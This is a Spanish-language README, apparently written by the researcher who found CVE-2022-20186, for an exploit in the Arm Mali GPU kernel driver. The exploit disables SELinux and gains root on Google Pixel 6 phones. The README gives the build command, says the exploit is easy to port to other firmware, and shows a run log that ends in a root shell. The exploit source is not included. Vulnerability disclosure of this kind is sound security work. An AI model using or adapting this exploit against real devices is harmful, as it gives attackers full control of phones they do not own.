
Exploit para CVE-2022-20186 en el controlador del kernel Arm Mali, que logra la ejecución arbitraria de código del kernel desde el dominio de aplicaciones no confiables para deshabilitar SELinux y obtener root en Google Pixel 6.
El artículo de análisis se puede encontrar aquí. Este es un error en el controlador del kernel Arm Mali que informé en enero de 2022. El error puede usarse para obtener ejecución arbitraria de código en el kernel desde el dominio de aplicaciones no confiables, lo que luego se utiliza para deshabilitar SELinux y obtener root.
El exploit está probado en Google Pixel 6 y soporta niveles de parche desde noviembre de 2021 hasta febrero de 2022. Es fácil agregar soporte para otros firmware cambiando algunos desplazamientos de imagen. Como referencia, usé el siguiente comando para compilar con clang en ndk-21:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias
El exploit rara vez falla y se puede reintentar sin bloquear el dispositivo. Si tiene éxito, debería deshabilitar SELinux y obtener root.
oriole:/ $ /data/local/tmp/mali_alias
fingerprint: google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys
tracking page 0x6ff794e000
drain 0x6d5b200000
gpu_va[0] 6ff6698000
gpu_va[1] 6ff6695000
alias 0x6ff6693000
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
oriole:/ #